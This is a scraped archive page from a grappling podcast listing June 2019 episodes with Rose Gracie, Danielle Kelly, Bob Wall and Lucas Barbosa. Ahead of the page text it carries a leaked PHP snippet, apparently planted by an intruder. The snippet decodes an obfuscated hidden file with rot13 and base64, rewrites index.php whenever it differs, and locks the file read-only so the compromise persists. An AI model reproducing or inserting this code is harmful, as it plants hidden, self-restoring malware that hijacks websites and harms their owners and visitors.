$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } June | 2019 | The Grappling Central Podcast

Archive for June 2019

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Episode 368: Rose Gracie returns!

Rose Gracie returns to the show to talk about brain damage and CTE within combat sports. She’s been researching and learning about concussions and CTE with leading experts and she also talks about possible CTE within her family and her new rehab facility. Click “read more” for listening options and show notes! [powerpress]

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Episode 367: Danielle Kelly

Danielle Kelly joins the show to talk about her journey in grappling, the development of her style, her favorite competition ruleset and adding Wrestling to BJJ. She also gives a technical breakdown of maintaining back control effectively. Click “read more” for listening options and show notes! [powerpress]

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Episode 366: Bob Wall

Bob Wall

Known for his role as O’Hara, a villain in Bruce Lee’s iconic film Enter The Dragon, Bob Wall joins the show to tell the incredible and inspirational story of his life. A passionate grappler, he also discusses his time training BJJ, Wrestling and Judo! Click “read more” for listening options and show notes! [powerpress]

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Episode 365: Lucas Barbosa

One of BJJ’s most exciting stars, Lucas Barbosa joins the show to talk about following in his idol’s footsteps in Brazil, overcoming poverty and the law of attraction. He also discusses training, drilling and building a solid game. Click “read more” for listening options and show notes! [powerpress]

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Saint of Crackland – Short Film

Grappling Central Short Film

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